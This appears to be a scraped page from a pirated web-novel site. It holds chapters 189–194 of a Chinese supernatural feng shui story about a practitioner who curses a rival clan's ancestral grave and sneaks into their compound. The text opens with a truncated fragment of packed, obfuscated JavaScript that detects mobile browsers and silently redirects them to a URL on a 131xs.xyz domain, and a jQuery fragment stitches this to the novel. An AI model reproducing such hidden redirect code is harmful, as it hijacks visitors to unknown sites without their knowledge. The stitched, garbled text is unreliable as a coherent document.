d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15603088|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼一马平川,很远很远之后,才能瞧见一些黑色的阴影,那外边儿才是山。 “就小陈你看的那边儿,北边吗不是,一直过去,就能走到天沧江了,我和小灵家就在那边,往南走,要不了多久就有个镇,钱家就在镇上,多年前就是大户,头先那几年他们举家迁移,祖坟都一直有人看守,迁移是假的,说不定是在别处找到更好风水的宅子呢?只是我不知道而已。” “真要是搬迁走了,祖坟还能放在这里吗?嗐,我这几年脑子不知道装什么了。”苟驹一边解释,一边自嘲。 “少喝点儿酒,人就清醒了。”徐湘灵搭了一句话。 苟驹耸了耸肩,摊了摊手。 我手摁了摁眉心,大致明白苟驹将车停在这位置的缘由了。 他不确定镇上有没有人。 先前说让我扫一眼钱家,纯属他口快。 现在这做法,他才足够谨慎。 于我来说,要对钱家祖坟动手脚,也无需去钱家一趟。 人挪死,树挪活。 “苟叔,你带路吧,大概方向,直接去祖坟。” 放下手,我沉声说。 苟驹便开始带路,我们没有一直走这乡间公路,大约一二百米后,就进了田埂。 紧接着,便从田埂一路朝着山的方向走去。 走着走着,天就亮了。 都说望山跑死马,这里稍稍好一点,也好不了太多。 田埂间步行太慢,拢共大概走了四五小时,才走出十二三公里。 苟驹和我解释了,不走镇上,就没有近路,乡间小路就是这么难走。 九十点钟,天色正亮,入目所视只能瞧见一座山了。 距离拉近到一定程度,山体的大小就挡住了视线辐散。 我没有继续往前,因为我们现在还在田地里,再往前,就曝露在人的视野下。 苟驹自然明白我停下来的意思,他抬手指了指,大抵是山腰的位置,说:“瞧见了吗,小陈,那片粉白色的林子,喏,就是钱家祖坟。” 山腰果然有一处位置,呈现粉白色,和周围格格不入。 我蹙眉,喃喃:“有什么粉白色的树么?” 第189章 桃李满天下,福神护法 不是我见识浅薄,粉白色的树本身就少之又少。 “嗐,小陈,你换个角度考虑啊,现在什么月份了?”苟驹和我说。 “春初?”我回答。 “是了,春初,早桃早李就这几天开,钱家会来事儿,给他家祖坟绕着圈儿种了不知道多少李子树,桃树,春初那几天,花儿开了一茬又一茬,开到花季最晚的时候,等到了夏秋,桃李是一筐又一筐,让五钱镇的镇民摘了不知道多少,送出去不知道多少呢。”苟驹碎念了句:“钱家还真会想,桃李满天下呗?” 苟驹这番话,让我心头一惊再惊。 一时间,我还真没联想到这一点。 祖坟种桃李,桃李满天下? 是阴差阳错,还是钱家的风水局? 若说风水局,区区一个钱家,当年都没有先生的家族,能弄出这样的场面? 还是说,钱家早就有先生,只是不过问世事,没有针对当初的苟驹做什么? 思绪间,我又再三问了一遍苟驹,确定钱家以前没有先生? 苟驹再三确认,言之凿凿。 我没有多言其他了。 一时间苟驹安静下来,他同样不多言语。 得过了半小时左右,我才说:“是要去祖坟位置看看,我才能完全肯定,是不是先生布局的风水,还是有一定可能,是,只是当年钱家人没有真的想杀你,苟叔。” 我这话,让苟驹脸色一阵变化, “行,先看看吧。”苟驹才说。 我要针对钱家祖坟风水下手,就要去冲他们家的风水。 尽管我断定钱家那个先生,很可能在苟驹老宅附近等待,也有可能在钱家宅子里等着苟驹去服软,对方几乎没有可能在钱家的祖坟处。 但如果,先生是早就有的,祖坟是早就布局的,我贸然动手,无法冲破祖坟风水,就会轮到自身反煞。 就像是当初葛俊去整我爷爷和我爸,我布局他没冲破,差点儿反煞至死,就连葛家那老爷子都吃了亏。 小心驶得万年船,这句话是亘古不变的真理。 “只不过,要上去的话,麻烦比较大,这下边儿能绕路,等到了山上,钱家一旦有人巡查,肯定会被发现的。”苟驹显得有些为难。 我回过神来,说:“放心苟叔,我有办法。 ” “成。”苟驹点点头,脸色好看多了。 摸出来仕金盘,我确定了方位,便朝着东南方的方向走。 这难免要横跨别人的农田,我只能尽量小心脚下,不要踩到人家的秧苗,徐湘灵细心,脚下同样很注意。 苟驹开始粗放,大咧咧的走着,直至徐湘灵提醒他,他才谨慎起来。 不多时,我们就靠近了那座山。 甚至,我带着苟驹走上了马路。 山下正好有一条马路环绕着,山脚甚至还能有水。 “小陈……这不隐蔽了啊。”苟驹语气分外不自然。 “山上有人注意咱们,不一眼瞧见了吗?”苟驹又说。 我和苟驹解释,不一样。 其一,山上的确可能有人随时看山下环境,钱家只要够谨慎,肯定会这么做,毕竟,钱家知道我算是个先生,但毕竟,山上看山下,视野模糊。 其二,我走的不是普通的路,我走的是卦位。 风水中,有三卦可隐匿。 分别是坎卦,象征水,深渊,黑暗,属于隐匿。 去对照参考奇门遁甲,北方正对休门,一样是隐匿修养。 只不过在这儿,上山路上没有水吧,水往低处流,因此,用不了坎卦。 至于坤卦,象征厚德载物,也有隐匿作用,不过,这要结合具体方位具体环境,具体的五行生克来判断。 最合适的,就是东南方。 八卦之中为巽,巽为风,风无孔不入,可隐匿,可迂回。 正因此,只要我们不偏离方位,山上就算有人,就算人看着我们走的方向,对方都发现不了我们。 这,就是卦的作用! 我这一番话说完,苟驹是只咽唾沫,不自然道:“这么悬乎?” “哪儿悬乎了,这叫风水。”我笑了笑回答。 苟驹的神态总算好多了。 又过了十几分钟,我们彻底接近山脚,朝着山上走去。 我还是依循东南方位,走在藏风之地。 没有让苟驹带路,先前他给我指明了方向,我大致能判断出山上钱家祖坟在何处。 赶路的过程很枯燥,终于,鼻翼中嗅到了花香,我们瞧见了树林子,果然,远看是白色成片,近距离看,就只是桃李之花。 我依循方位,斜插往里走,再一段路,就瞧见了坟茔! 苟驹面色分外惊骇,低语:“小陈,你简直神了,我们居然走进钱家祖坟里头了?要知道,我之前那么小心潜伏,想进来掘开两口泄愤,都被拦住了啊……咱们怎么进来的?” 我笑了笑,不语。 徐湘灵轻声说:“姐夫,你就多嚷嚷几句,让人发现吧。” 苟驹尴尬的捂住嘴。 不过,他一直在咽唾沫,显然他很震惊。 我其实没有刻意要进祖坟范围,不过进来了,倒也无碍。 很快我就发现了,这祖坟的风水,和桃李树无关。 虽说桃李很多,虽说暗中隐喻的意思,是桃李满天下。 但事实上,钱家风水很一般,既没有瞧见什么能让人大富大贵的阴宅,更没有看见生气盎然的坟茔。 按道理来说,坟好,生气旺盛,树就好。 这里的桃李树可并非是依靠坟茔生气,而是每棵树下都浇灌了很多发酵好的屎尿,味道有些冲鼻。 我继续观察仕金盘,分辨出另一个方位。 随后我低语:“苟叔,你和徐姑娘顺着原路返回,自己觉得哪儿隐蔽,就藏在哪个位置,不要脱离我们的来路,我要再过去这祖坟地的核心看看。” 是砂山就是龙脉,是龙脉就有穴眼,这座山为垅山,山一般,生气一般,钱家的宅子,却还是修在穴眼的位置,风水,多多少少沾了一点儿,毕竟钱家也是有地位的,现在能找到先生,以前找先生更不难。 “这……”苟驹显得有些担心。 我笑了笑,让他别扭扭捏捏,像个婆娘似的。 苟驹受不得激将法,立马带着徐湘灵走了。 祖坟地段里,就只剩下我一个人。 我开始观察仕金盘,顺着另一个方向走去。 我,在找福神护法之地! 这,才是钱家祖坟的关键! 破坟冲煞,远冲纯看风水,我只要设下一点儿布局,就可以里应外合,形成一个完美冲煞! 第190章 坟似交椅,正襟危坐,握权掌势,家运隆昌! 当初我刚到小二楼时,就是用过福神护法的兑针,找到了地室,也就是陈瞰山的阴宅。 福神护法,既是善阴,又是已故先人。 只要钱家的坟,不是凶坟,就必然有善阴,否则这里根本不会花开,树都容易枯败。 我很谨慎小心,穿过身周一座座坟,这些坟新旧交替,没什么规律,像是哪儿有空地,就选中了起坟,以至于坟冢内像是乱投的算珠,不过乱虽乱,但气息是正常的。 微嘘一口气,我尽量朝着高处走。 好坟都在高地,钱家就算当时没有先生,总算给人入殓下葬的“道士”是用过的,虽然大多都是那种混吃混喝的神棍,但常识性的东西应该知道。 走着走着,我隐约就听见了声响,似是人在走动。 心头微凛,立即四扫周围,我瞄准了一处坟头,快步走过去,躲在了坟头后。 这还是东南方,巽卦所在之位。 巽为风,善隐匿。 且风有上下之分,我现在这位置就是下风,听到的声响顿时都大了许多。 我不但能听到上风下来的声响,甚至自己的一些声音都会被带走,去往更下方的位置,这风水隐匿之说,绝无虚言。 “咴儿咴儿。”咳嗽声响了起来。 “要死了吗?”另一个声音响起,略粗犷,略干哑。 “屁话,你死,老子都不得死。”最开始咳嗽那声音,操着一口很浓的土话。 方言是方言,土话比方言还要拗口难懂一些。 “要得嘛,看嘛,位置反正选好了,哪个走得早,哪个下去躺到,小先生讲了的,对子女好。”粗犷干哑的话音再响起。 “我不和你争,反正娃娃都姓钱,哪个好一点,哪个撇一点,无所谓。”话音中又夹杂着些许咳嗽声。 两个人从我藏身的这处坟头旁走了过去。 他们并没有发现我。 一来是我藏得隐蔽,二来就是巽位的风水效果。 其中一人生的矮小精瘦,太阳穴高高鼓起,一双手抄在后背, 腰间拴着一根细长的木棍,棍子上缠绕着缎带状白绫,看上去就像是人送丧时,孝子贤孙手中拿着的哭丧棒。 另一人瘦瘦高高,腰上挂着一块板斧。 斧头宽,大,斧刃看上去分外锋利,给人一种吹毛断发感觉。 带着哭丧棒的就是神婆,挂着板斧的,就是苟驹口中三板斧的棺材匠了。 很快,两人走过了这位置, 感觉就像是例行巡查。 什么样的家族,会对祖坟这样看管森严?无非是一个缘由,怕人来捣乱,可想而知,钱家平时做了多少“好事”,要守好自家的祖老仙人。 过了五六分钟,那两人又原路返回了。 我依稀听见他们又在说。 “二把手她闺女,还没请回来么?”神婆道。 “请个屁啊,还能是他闺女么?投胎不成,又死求在水里,真说血脉,都变成那捞尸人一脉的了,魂儿看上去是钱家的不假,现在还是吗?不然怎么到这会儿都没带回来?”棺材匠顿了顿说:“无非是老二想家族里多点筹码,到时候能多拿回来点儿好处。” 这两人聊的内容,同苟驹相关! 他们口中所说的二把手,就是钱家的二把手? 至于筹码? 就相当于,那女鬼他们也当成了工具似的?鬼养在自己手里好利用? 最后那个,多拿点儿好处,就显而易见了。 钱家应该要办某件事,这事情大概率不是单独一家人能办成,瓜分利益的时候,却要按照家族实力来分。 不过,这些信息对我来说没有多大用处,只能说听了之后聊胜于无。 “论当年,要是那妮子能真的借体还魂,选的又是个命硬捞尸人的种,咱们钱家这神婆一脉,何愁不发扬光大?”那神婆又感叹了一句:“可惜时也命也,今日,只能将她当成小鬼来养了。” 棺材匠没接话了。 两人消失在我视线中,脚步声逐渐变小。 我深吸气,尽量没发出多少声音。 心里多少有些沉闷,这钱家说借体还魂,就像是养鸡场里随便抓只鸡杀了那么简单。 对,就像是,苟驹一家人天生低人一等。 徐莹怀孕,钱家看上了,就直接拿去当做躯壳用了。 是,钱家有本事,钱家能耐大,那苟驹两口子就活该遭罪?他们十月怀胎,辛辛苦苦养出来的孩子,就活该给人当夺舍的器皿? 我是能感同身受的,因为胡喋杀了老鳏夫剥皮,老鳏夫是我老丈人,之后胡喋又看上了我,给我吃太岁肉,想要将我也占据了。 钱家,真的有够恶毒! 等到脚步声彻底在我耳边消失,我又等了三四分钟,这才走出藏身地,继续依循着仕金盘的指针转动,在坟地里寻找方向。 好巧不巧,我走的偏偏是先前那神婆和棺材匠走过的方位。 钱家这坟地不小,五六分钟之后,总算到了一个稍微的高处。 此地紧邻着山壁,一截陡峭的贴岩山路上了一个台子,那台子就像是支棱出来的矮崖,崖台上立着好大一口坟。 到了这地方,福神护法的的兑针变得更厉害了。 针头不停的上翘,我越往前走,翘的就越厉害。 找到了! 看着那支棱出来的崖台,稍稍眯眼,粗略下来,崖台就像是一张椅子的椅面,更后方的山壁是椅背,崖台垂直往下的就是椅子腿。 这位置,就像是一张太师椅。 太师椅上,祖坟稳稳当当,大开大合! 我感受到了一股说不出的压迫力,顿咽了口唾沫。 钱家真的以前没有先生,现在才有? 坟似交椅,正襟危坐,握权掌势,家运隆昌! 怪不得……钱家的家运还行,他们无恶不作,理论上叫做德不配位,依旧没有湮灭。 祖坟的风水,多少抵消了他们的孽债,导致好风水也没有能散发出好生气。 不过,这已经够了! 足够钱家逍遥下去! 我重重吐了口浊气,毫不犹豫顺着那贴着山壁的台阶往上走。 很快,我便到了崖台上,崖台的边缘有类似栈道的小路, 我顺着小路走,到了崖台正面,瞧见了那口坟前的墓碑。 我蹲在墓碑前,用寻龙分金尺撬出来一个小小的坑,倒进去不少矿泉水瓶里的獒血。 紧接着,我沾了一点儿血泥,顺着墓碑上的字临摹了一遍。 本身,坟给人一种亲和还有温暖的感觉。 此刻,坟头微凉,给人一种心惊肉跳的森然寒意! 第191章 男人就是要粗鲁 黑狗煞重,狗眼可见阴,震慑尸鬼,其血效果更佳。 那獒说是獒,其实也是犬的一种,其色漆黑,说它是黑狗也没有什么问题。 我用獒血抹墓碑,就相当于在人头顶放了一盆炭火。 正常人,谁能顶得住炭火当头炙烤? 更遑论鬼,耐受力更差。 鼓起嘴,我冲着墓碑哈气,伴随着风吹,血浸没进墓碑里,只剩下一些薄薄的泥土附着在字面上,远看只会觉得墓碑有些脏,没有清理过,根本瞧不见血迹。 紧接着,我再捧起来一些泥土,盖住了墓碑下倒的獒血。 罢了,我匆匆离开这座坟,朝着来路方向返回。 时间一点点过去,我离开了坟圈,穿过了桃李的树林子。 明媚的午时阳光,让白花更白,甚至都开始反光。 我再走了一截路,彻底离开钱家祖坟后,那股怕人追上来的压抑感消失不见。 约莫半程路上,我见到了苟驹和徐湘灵。 两人瞧见我后,顿松了一大口气。 “能整吗小陈?”苟驹谨慎问我。 “怎么不能?”我笑了笑,语气轻松多了。 “操!”苟驹猛地一拍大腿,他脸色分外兴奋。 “怎么整?小陈你说来听听。”苟驹问我。 我默了片刻,四扫周围一眼,才说:“下山之前,找够五种树,分别是柳树,桑树,槐树,杨树,苦楝树,我分别要取一部分枝干。” “五鬼树?”苟驹问我。 我点点头。 苟驹是吃这碗饭的人,晓得这些,不奇怪。 “成,刚才上山我就瞧见苦楝了,先把其它几种找全乎了,最后下山砍它。”苟驹兴冲冲又道。 再之后,我们又在山上耽误了一段时间,我很谨慎注意,钱家那两个守墓的人,绝对没有发现我们。 我取得大部分是树的长条枝,又剥了一部分树皮。 之后下了山,沿着东南方的位置走,进了田里头,我才松缓下来一些。 利用仕金盘分辨出一个方位,是正北方。 到了那位置后,距离那座山已经偏远,不过还是能瞧见白花林子。 我将那些长条枝缠绕裹在一起,形成一根棍子模样,又将割下来的树皮仔仔细细包在这棍子上。 临了,我让苟驹将这棍子削尖。 苟驹照做。 最后,我取出来了塑料袋,里边儿是血呼啦差的獒脸。 将獒脸内侧用棍子顶住,我又将棍子斜斜插在地上,獒脸正对着钱家祖坟的方位! 有句话叫做暗箭杀人凶! 五鬼树做煞,獒血引煞,獒脸牵煞,最主要的,是苟驹削尖了木棍。 我用因果做关系,以凶物点坟茔。 暗箭冲煞阴宅! 就不信钱家那坟顶得住! 此刻天色逐渐晚了,当时出钱家祖坟还是正午,在山上砍树浪费不少时间,现在又布局了好一会儿。 夕阳,正在逐渐吞并天光。 苟驹一直在原地踱步,显得很紧张,他每每想问我情况如何,又被徐湘灵拦下来。 终于,天黑了。 短暂的暗沉后,月亮出来了,钱家祖坟的位置,白茫茫一片。 只不过这白茫茫中,好像又带着些许的血色。 粉白是粉白,血是血色。 这,是血光! 再然后,异变突生。 那片林子变暗了,就像是忽然灯熄灭,粉白色彻底的消失不见。 祖坟点不了灯,颜色消失,是因为花瓣凋零。 花瓣凋零只有一个原因,生气被破! 钱家祖坟是不错,不过祖坟生气根本没有反哺到桃李树林, 我使用了这样的招式冲煞,这桃李林子就是首当其冲! 外沿被破,内在遭受的问题,就更多! 那口福神护法的坟,更是要承受所有煞气! “不知道为什么,忽然感觉有一点点的爽快。” “说不上来呢,就像是胸口压着的一口闷气,嘿,吐出去了。”苟驹抚着胸膛喃喃。 “当然吐出去了,钱家一直压你一头,无形之中把苟叔你压得好难受,卜刀是你的,削棍子的人是你,带着一股恨的人一样是你,风水破了钱家祖坟,现在生气外泄,树都枯了,花瓣都凋零了,苟叔,你翻身了。” “祖坟受损,钱家要倒大霉了!”我沉声解释。 苟驹眼前陡然一亮,说:“搞得这么快,这么求凶?” 我点点头,说:“立竿见影的风水术,对付钱家,够用。” 苟驹连连点头,说:“好嘛,要得嘛,那现在呢?去找他们把河神老爷要过来?” 苟驹没有忘掉河神老爷。 我顿了顿,稍一迟疑,才说:“不,不去。” “啊?”苟驹满脸不解。 “去,就等于我们浮上水面,虽说钱家知道我的存在,先前还吃了亏,但是他们准备不全面,现在露面,容易让他们歇斯底里。”我沉声解释。 苟驹没多言了,是等我接下来的话。 徐湘灵看我的眼神,更隐隐间多了一丝钦佩。 这一段时间,徐湘灵对我改观的程度太大。 说实话,我隐隐都觉得,现在的自己有些陌生? 不过,我还是我。 正应了那句话,实践是检验真理的唯一标准? 风水,就是我的礼数,也是理数。 我验证风水,实操风水,以风水解决灾劫祸患! 这让我对于葬经百解的理解飞速,实力自然就突飞猛进了! 当然,思绪只在顷刻之间,我告诉苟驹说,现在钱家祖坟出问题了,他们必然会马上想,到底是哪儿不对劲,发现是祖坟,立即就会来祖坟,甚至在你家老宅的那些人,以及回水湾的人,可能都会离开。 我们现在就要调转矛头,将矛头放在钱家的阳宅中! “这相当于调虎离山?!”苟驹咽了一口唾沫,竖起大拇指,说:“小陈,你高啊!日他妈的,是真有点东西,猛地批爆。” 徐湘灵皱了皱眉,小声说:“能说点儿好听的话吗?太粗鲁了吧?” 苟驹舔了舔嘴角,笑眯眯的说:“你这妮子,胳膊肘现在就一直往外拐了?瞧你眼神,和桃花儿开了没两样嘛?” “你姐夫粗鲁,你不喜欢,小陈要是不粗鲁,你恐怕也不能喜欢了,男人嘛,你说是不是小陈?必须又粗又鲁。” 说实话,苟驹这黄腔开的我脸色都一阵涨红,徐湘灵一下子脸都红到了脖子根,耳根。 苟驹耸了耸肩,叹了句:“女大不中留咯,小陈,你觉得我这妹子咋样,配得上你不?” 我脸色一僵,身体更是僵硬。 苟驹这急刹车更是让我猝不及防,都快停我脸上了…… 第192章 棺山双斗 其实上一次,苟驹就有点儿乱点鸳鸯谱的意思,只不过那会儿我没接话茬,徐湘灵自己没反应过来。 这一次,他的态度再明显不过。 只是于我来说,这事儿不能那么看,其一,我身边有个白姝灵,徐湘灵进小二楼,白姝灵就有反应了,尤其是徐湘灵进房间的时候,白姝灵贴我更近,我不是傻子,能感觉出来白姝灵的敌意。 其二,我真的还没考虑过所谓的男女事。 人和鬼不一样,这阴亲是早些年就既定的,我更改不了,这么多年早就接受了。 现如今,一系列的事情,是一波未平一波又起。 我哪有心思去想什么春花秋月? “小陈,你啷个不接话喃?未必然我这个妹子不行嗦?” “你别看她现在二十几了,还没谈过呢。” 苟驹还是笑眯眯的说着:“尤其是她丫头,传统,这你知道吧,虽然她平时捞尸的,接触尸体多,但贵就贵在传统了,肯定少不了你的好。” 我一时间是真不知道应该怎么接话茬。 徐湘灵脸更红了,就像是熟透了的红苹果。 “姐夫……”她话音都带着一丝扭捏。 这让我更觉得尴尬。 换成以前,我可能还后知后觉。 可神相千壳中的内容,远远不止是看个面相,包括声音,一样能听得出一些情绪。 徐湘灵,对我有好感? “哈哈,小陈不好意思开腔,是个闷瓜葫芦,那这事儿,我这个当叔的,当姐夫的就牵头了哈,先搞了钱家,就当彩头,回头你们两个年轻人好好聊聊,接触接……” 苟驹正兴冲冲的说着呢。 我长舒一口气,定了定神,道:“苟叔,这事儿,换个时间聊吧,眼下正事要紧。” 我神态是格外平复的。 因为我想通了。 不能因为苟驹要将徐湘灵塞给我,我就和没见过女人似的一时兴起,这不好。 对我来说不好,对徐湘灵来说更不公平。 因此,不能苟驹说给,徐湘灵默认,我就点头说要。 人,要有基本的责任心。 苟驹怔了怔,摸摸头说:“也是,瞧我,这一高兴,一时兴起,哈哈。” 徐湘灵却抿了抿唇,眼中闪过一抹不经意的怅然若失。 不光是声音,我对人的情绪捕捉,神态变化,同样更明显了一些。 徐湘灵懂我意思了。 这令我松了口气。 “苟叔,你带路吧,我们还是要谨慎一些,尽量别被发现。”我继而再开口。 “成。” 苟驹再度瞥了一眼那根棍子,那张獒脸,继而又瞅了瞅山上方向的祖坟位置,他迈步朝着另一个方位走去。 这座山,和镇子实际上已经是平行了,我们大约走了半小时左右,就瞧见了一条马路,穿进山下的小镇。 五钱镇很热闹,镇口有好几家大排档,还有一条河,看方向是从山那头流淌过来,往北而去,朝着天沧江汇入。 苟驹正要离开田地往镇口走。 “苟叔,慢一点,等。” 我沉声开口。 “呃……”苟驹僵住。 “钱家还没出来呢,我一直注意着,我们来时的路和镇马路是并联的,从这个岔口过去,无论是钱家来人也好,还是开车也罢,我都还没瞧见他们的踪迹。” 我如实说道。 苟驹这才恍然大悟,眼中透着几分赞誉。 “小陈是心有猛虎,细嗅蔷薇啊。哈哈。” 苟驹还是什么都没看出来,又捧我了。 他这个捧,太刻意了,是想让徐湘灵对我更欣赏似的。 徐湘灵表现的心不在焉,神不守舍。 使得苟驹还微瞪她一眼。 我没多言其他,就默默的看着镇口。 我们现在站着的还是巽位,这完全是无形中的本能了。 巽方隐匿,即便是镇上来人,不仔仔细细全神贯注,都不会发现我们的存在。 方位,调换过来了! 这就是我先前所想的,敌在明,我们在暗!无形之中,就已经达成! 看了一眼时间,此刻是八点钟左右。 再等了半小时,终于,镇口出来了好几辆车,进了傍着山脚的岔路,朝着远处驶去。 “他们太后知后觉,或许是山上那两个人后知后觉,现在,在你们村附近老宅附近的钱家人,应该都在回来的路途中。”我喃喃开口。 “那我们走?”苟驹舔了舔嘴角,有些迫不及待起来。 “嗯。”我点头。 苟驹当头出了田地,朝着五钱镇走去。 我和徐湘灵紧随其后。 进镇上的时候,并没有人注意我们。 苟驹和徐湘灵的穿着并没有那么特殊,更不会引起太多注意。 一路走到了镇子中心,有个小环岛,周围有五条路,能看出来,五钱镇还是比较大的镇子。 苟驹带着我们走了东面那条路。 差不多十来分钟,周围变得很安静。 镇,就是这样。 天黑之后,除了有商业性的街道,都是这般安静,两侧的小楼寂静无声,偶然能听见说话声,以及电视声响。 最终,我们停在了一处位置,这里有个宅子。 宅门两侧,各有一头石狮子,显得很庄重威严。 几层台阶往上,就是一道四四方方的大门,门匾上写着钱宅。 左边儿竖匾:魁星点斗摘尸术。 右边儿竖匾:棺术落斧断命途。 在钱宅的上方还有个横匾,写着棺山双斗。 说实话,这对联有着很强的震慑性,还有……狂妄! 对,字里行间,就透着狂妄。 这就是说神婆和棺材匠么? 棺山双斗? 一斗是神婆,一斗是棺材匠。 哪儿是棺山,就是五钱镇旁边的山? “格老子的,等到时候,你苟叔发达了,起运了,开枝散叶了,老子牌面比他大。” 苟驹口中喃喃,眼中多少透着几分羡慕。 我抬手,做了个嘘声的动作。 紧接着,我走向宅子东南侧,刚好从院子拐角钻进一条小巷。苟驹和徐湘灵刚进来,我就听到了吱呀的开门声。 顿足,我稍稍探出一点儿头,看向钱家大宅门前。 大门口杵着两个人,正在眺望另一个方向。 他们要看我们这边儿的时候,我收回视线,往后退,将苟驹和徐湘灵都挡回巷子里。 他们,没有发现我们。 “没全出去?”苟驹声音变小了。 第193章 三碧震! “怎么可能全走,家中再怎么会留几个人,还有老弱妇孺。”徐湘灵接了一句话,声音不大。 “哦……”苟驹耸了耸肩。 随后,苟驹小心翼翼且谨慎的看着我,他没有先前那么嚣张了,带着一丝询问。 很简单,他是不知道接下来怎么做。 “苟叔,无碍,走了大部分已经可以了,我们先往里一些。” 我语罢,就摸出来仕金盘,继续分辨方位。 只不过,我内心忽而一紧,瞳孔都微微紧缩,盯着仕金盘的指针,又仰头看天。 夜空之中没有雾气。 可这钱家大宅上边儿,却萦绕着一层淡淡的幽绿色。 这,叫做气。 葬者,乘生气也,夫阴阳之气,噫而为风,升而为云,降而为雨,行乎地中则为生气!气乘风则散,界水则止,聚之使不散,行之使有止,故谓之——风水! 阴阳宅之风水,有区别。 阳宅之气,气在敞亮。 阴宅之气,气在阴晦。 钱家明明是阳宅,怎么会萦绕着阴宅该有的阴晦? 幽绿色当然不是阴晦的代表,可能说,看过一些鬼片儿啊,或者听过一些村头老人的闲谈,认为绿朦朦的就是鬼气阴气,实则不然,这有局限性。 这种幽绿色,属于三碧震。 风水看砂水星,往往需要协调配合。 三碧震属于好勇斗狠之星。 九星之中,一白,六白,八白为上吉,四绿九紫为半吉半凶,二黑,三碧,五黄,七赤都是凶星! 当然,不是说凶星就有问题。 在葬经百解中有说,当运者旺,将来者生,已过者衰,久过者死! 星有吉凶,却也有得运失运。 有人就是逞凶则吉,这要和个人命数挂钩,家族命数挂钩。 钱家的幽绿,来自于三碧震。 我知道为什么这种幽绿,会给人这么阴翳的感觉了。 这简直是阴差阳错。 钱家的祖坟,没有利用好风水,但恰恰在风水位上。 钱家的宅,一样没有利用好风水,恰恰又在风水位上。 三碧震得运,是长房兴家,纳粟成名。 眼下,祖坟被我用风水破了! 祖坟泄气,家宅失运。 失运,疯哮伤妻,官非口舌! 主头面手脚受伤,意外之灾,井墓位灾,遭盗贼抢劫绑架! 这一番分析,十分耗费脑力。 一时间,我都觉得有些昏昏沉沉,手脚发软。 苟驹一把搀扶住我,略不安的说:“小陈你怎么了?说走又走不动,原地发呆,被人用风水术对付了?” 徐湘灵赶紧搀扶住我另一侧胳膊,眼中同样流露着不安。 我重重吐了口浊气,才说:“没有,苟叔,我分析了一下这里的风水。” 尽量简明扼要的和两人说了我的想法。 苟驹听得一脸懵,徐湘灵也是咋舌。 “多了也听不懂啊,我糙得很,总之就是,钱家完蛋对吧?”苟驹一脸正色。 徐湘灵稍有几分尴尬,她没吱声。 我哑然失笑,这会儿精神头恢复多了。 没有多解释,我朝着巷子深处走去。 苟驹和徐湘灵立马跟上我。 我再度分辨仕金盘的指针。 本身,我只是想继续沿着东南方位,进入宅内巽位,藏匿身影,再伺机而动。 不过现在,计划变了! 因为这钱家的宅子,不一般! 这并非是简单的阳宅,而是阴阳宅,只有葬尸,才能引动三碧震,才能引动星辉。 九星的运,要死人才能承接,才能福泽家族。 因此,钱家必然埋了死人! 能和死人共存,这死人必然和陈瞰山差不多,并非凶尸。 那就是兑针,善阴之气,福神护法! 我心跳的速度,更快了! 九星对应九尸,九尸拉棺,是我迫在眉睫的事儿。 三碧震,不就是我想要的尸? 风水啊风水,一应必应! 钱家,是要赔了夫人又折兵了! …… 很快,我们一行三人停在了一处位置。 这里的墙体,要比其余位置更高。 往后退一步,仕金盘的兑针变弱,往前走一步,同样变弱,贴在墙上,兑针便变强! 这地方,就是我要找的钱家藏尸之处! 要帮苟驹,就是单纯整钱家就可以,一报还一报。 毁了祖坟,掏了阴阳宅中,阴宅坟,那钱家这宅子就住不得人了。 没有尸承接九星气运,钱家的活人根本承受不住! 思绪间,我压低声说:“苟叔,往上去看看,看里边儿有没有人。” 我语罢,苟驹眼神转得飞快。 徐湘灵却给了苟驹一个眼神示意,她微微点头。 苟驹同样点头,他扎起一个马步,双手交错,徐湘灵轻身提气,一跃踩在苟驹手掌上,苟驹用力一托,往上一顶,徐湘灵身轻如燕的再度跃起,轻飘飘的落在了院墙顶端。 说实话,这身手之矫捷,让我稍稍一惊。 我倒没有担心其他。 苟驹和徐湘灵是吃死人饭的人,他们敢直接上院头,必然没有问题,肯定是听到院子里无声了。 “可以上来,快一点。”徐湘灵的话音很小,很急促。 苟驹看了我一眼,他一把抓住我的肩膀,将我用力往上一推! 我只觉得身体一阵失重,再下一刻,徐湘灵在上方抓住我肩膀,将我往里一带,同时,她稍稍往院内一侧身,便直挺挺的往下落! 先是徐湘灵落地,顷刻间她弹腿,脚背接住我右脚。 “撑住。”徐湘灵轻声提醒,我顿时绷紧身体,腿一下子绷直,就像是弹簧垫泄力似的,坠落的撞击力道没了。 徐湘灵再稍稍往左侧一带,我一下子站稳,只是稍稍打了个趔趄。 轻微的声响从旁侧传来,是苟驹跳进了院里。 “妮子的柔韧性是好哈。”苟驹抹了一把鼻头。 徐湘灵抿唇,这次,是她瞪了苟驹一眼。 我没吭声,而是警惕的左右四扫,将周围的一切都收归眼帘。 这,是一个好大的内院,四面都有墙! 只不过,只有墙,居然没有屋宅。 这就怪了,哪怕是阴阳宅,应该也得有宅子才对啊! 下一刻,我注意力就集中在这院子正中央的一处位置。 院子中央有一处水潭,水潭中有一个假山。 只不过,这假山有点儿怪。 其四四方方,高约莫三米,宽窄约莫三米,更像是一块巨大的石墩子。 不,假山上刷了红漆,这更像是一口棺材。 就是那种明清时期,放在皇陵王冢中的红棺! 这……是棺山? 我鬼使神差的想到,自己先前弄错了,钱家所说的棺山双斗,并不是旁边那座有祖坟的山,而是这假山!? 不对……这,是假山吗? 我眼皮微跳,匆匆朝着“山”走去。 这山,太古怪,太小了…… 第194章 天上星,地上形 我学葬经百解之前就在某个视频上看过,这世界上最小的山,仅有半米高一些,长宽更只有不到一米半。 眼前这座山,已经很大了。 再者说山再小,那也是山。 山不在高,有仙则名,水不在深,有龙则灵。 风水之说,往往不看山的大小。 很快,我就走到山前。 山脚下的潭水并没有那么幽静,而是流水潺潺,这居然是活水,只是不知道水源从哪里来,又往哪里去。 尸,能承受三碧震的星辉,能承受运数。 阴宅,只是必须,并非最好。 最好的风水,当属于天上星辰照射地上山峦。 这叫做在天成象,在地成形! 三碧震位照禄存! 我仔仔细细的贯彻这座山。 此山,当真就叫做棺山。 山顶一块石头,纂刻着工整字眼。 整体,这山其实也不是完全的四四方方。 山形如同顿鼓,分属有三个起伏,就像是鼓的次序。 先前对着我们那一面,显得四四方方,才让我觉得,这棺山是个正方形。 